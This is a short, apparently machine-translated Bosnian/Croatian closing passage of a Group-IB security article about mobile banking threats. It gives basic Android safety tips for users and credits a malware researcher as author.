Fundamentalno važna točka je dostupnost analize između kanala, koja omogućava kompanijama da kontroliraju rizike koji nastaju ne samo na Internetu, već i na mobilnom kanalu, na primjer, u aplikacijama za mobilno bankarstvo, za transakcije s kriptovalutama i bilo koje druge gdje transakcije se mogu izvršiti.finansijska transakcija.

Sigurnosna pravila za korisnike:

  • nemojte instalirati aplikacije za mobilni uređaj sa Android OS-om s bilo kojeg drugog izvora osim Google Playa, obratite posebnu pažnju na prava koja aplikacija traži;
  • redovno instalirajte ažuriranja Android OS-a;
  • obratite pažnju na ekstenzije preuzetih datoteka;
  • ne posjećujte sumnjive izvore;
  • Ne klikajte na linkove primljene u SMS porukama.

U glavnim ulogama Semyon Rogacheva, mlađi specijalista za istraživanje zlonamjernog softvera u Laboratoriji za kompjutersku forenziku Group-IB.

izvor: www.habr.com

Dodajte komentar